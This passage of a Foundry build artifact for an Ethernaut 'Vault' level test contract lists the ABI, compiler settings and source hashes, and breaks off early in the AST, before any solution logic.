log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Vault.t.sol":"TestVault"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Vault.sol":{"keccak256":"0xa9dc29eec754730aa7083f52b45d76f6df613eb6d5bdb15b67d408ef2f3a8527","urls":["bzz-raw://0675c9cbade01d0ea4d023fc3fe83eedad8af92a2b138ac36a4629f179d94b3b","dweb:/ipfs/QmbeBCYvLiqRgg9NLJBgYFfT768HVMbNLWBFe8Z2KrFQ1h"],"license":"MIT"},"src/levels/VaultFactory.sol":{"keccak256":"0x81684c8d189082762c03d9663cce5cd0ad38634abe821c9583eb3921e041107b","urls":["bzz-raw://bd0c30d58a39b17c535ffec3132263b6807d00a2cf0b75c6f9c36ba7446f365f","dweb:/ipfs/QmeMQ5NKN9KDyAKwosQkJbNUGPv3YT4bV62fK8PKoeELjF"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Vault.t.sol":{"keccak256":"0x945007f896f998d5fb79a430309ba20fbc370b5cadec55dd9965382486901cdf","urls":["bzz-raw://e5405844f374ab1e3ff073a3802ac506aced1c2798f8998504b42893d0cd3d6c","dweb:/ipfs/QmPWYY2DC8JgpHBm7PJsks3FqiU6XDr2Edd3FrJK8jhKdE"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Vault.t.sol","id":65122,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestVault":[65121],"Utils":[66673],"Vault":[55405],"VaultFactory":[55464],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1908:150","nodes":[{"id":64928,"nodeType":"PragmaDirective","src":"32:23:150","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":64929,"nodeType":"ImportDirective","src":"57:28:150","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":65122,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":64931,"nodeType":"ImportDirective","src":"86:43:150","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":65122,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":64930,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:150","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64933,"nodeType":"ImportDirective","src":"131:43:150","nodes":[],"absolutePath":"src/levels/Vault.sol","file":"src/levels/Vault.sol","nameLocation":"-1:-1:-1","scope":65122,"sourceUnit":55406,"symbolAliases":[{"foreign":{"id":64932,"name":"Vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55405,"src":"139:5:150","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64935,"nodeType":"ImportDirective","src":"175:57:150","nodes":[],"absolutePath":"src/levels/VaultFactory.sol","file":"src/levels/VaultFactory.sol","nameLocation":"-1:-1:-1","scope":65122,"sourceUnit":55465,"symbolAliases":[{"foreign":{"id":64934,"name":"VaultFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55464,"src":"183:12:150","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64937,"nodeType":"ImportDirective","src":"233:48:150","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":65122,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":64936,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"241:5:150","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64939,"nodeType":"ImportDirective","src":"282:44:150","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":65122,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":64938,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"290:9:150","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":65121,"nodeType":"ContractDefinition","src":"328:1611:150","nodes":[{"id":64946,"nodeType":"VariableDeclaration","src":"368:19:150","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"378:9:150","scope":65121,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":64945,"nodeType":"UserDefinedTypeName","pathNode":{"id":64944,"name":"Ethernaut","nameLocations":["368:9:150"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"368:9:150"},"referencedDeclaration":49101,"src":"368:9:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":64949,"nodeType":"VariableDeclaration","src":"393:14:150","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"399:8:150","scope":65121,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"},"typeName":{"id":64948,"nodeType":"UserDefinedTypeName","pathNode":{"id":64947,"name":"Vault","nameLocations":["393:5:150"],"nodeType":"IdentifierPath","referencedDeclaration":55405,"src":"393:5:150"},"referencedDeclaration":55405,"src":"393:5:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"visibility":"internal"},{"id":64951,"nodeType":"VariableDeclaration","src":"414:21:150","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"430:5:150","scope":65121,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64950,"name":"address","nodeType":"ElementaryTypeName","src":"414:15:150","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64953,"nodeType":"VariableDeclaration","src":"441:22:150","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"457:6:150","scope":65121,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64952,"name":"address","nodeType":"ElementaryTypeName","src":"441:15:150","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65055,"nodeType":"FunctionDefinition","src":"650:593:150","nodes":[],"body":{"id":65054,"nodeType":"Block","src":"674:569:150","nodes":[],"statements":[{"assignments":[64958],"declarations":[{"constant":false,"id":64958,"mutability":"mutable","name":"users","nameLocation":"709:5:150","nodeType":"VariableDeclaration","scope":65054,"src":"684:30:150","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":64956,"name":"address","nodeType":"ElementaryTypeName","src":"684:15:150","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64957,"nodeType":"ArrayTypeName","src":"684:17:150","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":64962,"initialValue":{"arguments":[{"hexValue":"32","id":64960,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"729:1:150","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 